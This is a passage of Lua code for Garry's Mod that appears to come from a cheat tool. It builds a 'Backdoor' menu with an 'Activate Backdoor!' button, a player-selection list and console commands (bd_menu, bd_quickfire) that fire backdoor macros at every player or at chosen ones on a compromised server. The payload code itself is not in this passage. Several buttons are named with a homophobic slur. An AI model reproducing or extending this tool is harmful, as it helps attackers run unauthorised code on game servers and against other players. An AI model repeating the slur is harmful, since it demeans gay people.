11070 Plist4:SetSpacing(5)
11071 Plist4:EnableHorizontal(false)
11072 Plist4:EnableVerticalScrollbar(true)
11073 Plist4:SetName("")
11074
11075 Plist4.Paint = function(self, w, h)
11076 surface.SetDrawColor(50, 50, 50, 255)
11077 surface.DrawOutlinedRect(0, 0, w, h)
11078 surface.SetDrawColor(0, 0, 0, 200)
11079 surface.DrawRect(0, 0, w, h)
11080 end
11081
11082 local faggot = vgui.Create("DButton", BDMenu)
11083 faggot:Dock(5)
11084 faggot:SetText("Activate Backdoor!")
11085 faggot:SetTextColor(Color(255, 255, 255, 255))
11086
11087 faggot.Paint = function(panel, w, h)
11088 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
11089 surface.SetDrawColor(Color(0, 0, 0, 255))
11090 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
11091 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
11092 end
11093
11094 faggot.DoClick = function()
11095 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
11096 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
11097
11098 return
11099 end
11100
11101 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
11102 BD.FormatCodeGlobal()
11103 else
11104 BD.FormatCodeTargeted()
11105 end
11106
11107 surface.PlaySound("buttons/button18.wav")
11108 end
11109
11110 local moonman = vgui.Create("DTextEntry", BDMenu)
11111 moonman:Dock(5)
11112 moonman:DockMargin(0, 0, 0, 5)
11113 moonman:SetText(backdoorargs)
11114
11115 moonman.OnChange = function(self)
11116 backdoorargs = self:GetValue()
11117 end
11118
11119 -- surface.PlaySound("buttons/button3.wav")
11120 -- players list
11121 for k, v in pairs(player.GetAll()) do
11122 local plypanel2 = vgui.Create("DPanel")
11123 plypanel2:SetPos(0, 0)
11124 plypanel2:SetSize(200, 25)
11125
11126 -- Paint function
11127 plypanel2.Paint = function()
11128 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
11129
11130 if table.HasValue(selectedplayers, v) then
11131 surface.SetDrawColor(Color(50, 255, 90, 255))
11132 else
11133 surface.SetDrawColor(Color(50, 50, 90, 255))
11134 end
11135
11136 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
11137 end
11138
11139 local plyname = vgui.Create("DLabel", plypanel2)
11140 plyname:SetPos(10, 5)
11141 plyname:SetFont("Trebuchet18")
11142 local tcol = Color(255, 255, 255)
11143
11144 if v == LocalPlayer() then
11145 tcol = Color(155, 155, 255)
11146 end
11147
11148 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
11149 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
11150 plyname:SetColor(tcol)
11151 plyname:SetText(v:Nick())
11152 plyname:SetSize(180, 15)
11153 local faggot = vgui.Create("DButton", plypanel2)
11154 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
11155 faggot:SetPos(0, 0)
11156 faggot:SetText("")
11157 faggot.Paint = function(panel, w, h) return end
11158
11159 faggot.DoClick = function()
11160 if table.HasValue(selectedplayers, v) then
11161 table.RemoveByValue(selectedplayers, v)
11162 else
11163 table.insert(selectedplayers, v)
11164 end
11165 end
11166
11167 Plist4:AddItem(plypanel2)
11168 end
11169
11170 BD.GenerateBackdoorList(Plist, 1)
11171 BD.GenerateBackdoorList(Plist, 2)
11172 BD.GenerateBackdoorList(Plist, 3)
11173end
11174
11175concommand.Add("bd_menu", BD.BackdoorMenu)
11176
11177function BD.QuickFireBackdoor()
11178 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
11179 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
11180
11181 return
11182 end
11183
11184 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
11185 BD.FormatCodeGlobal()
11186 else
11187 BD.FormatCodeTargeted()
11188 end
11189end
11190
11191concommand.Add("bd_quickfire", BD.QuickFireBackdoor)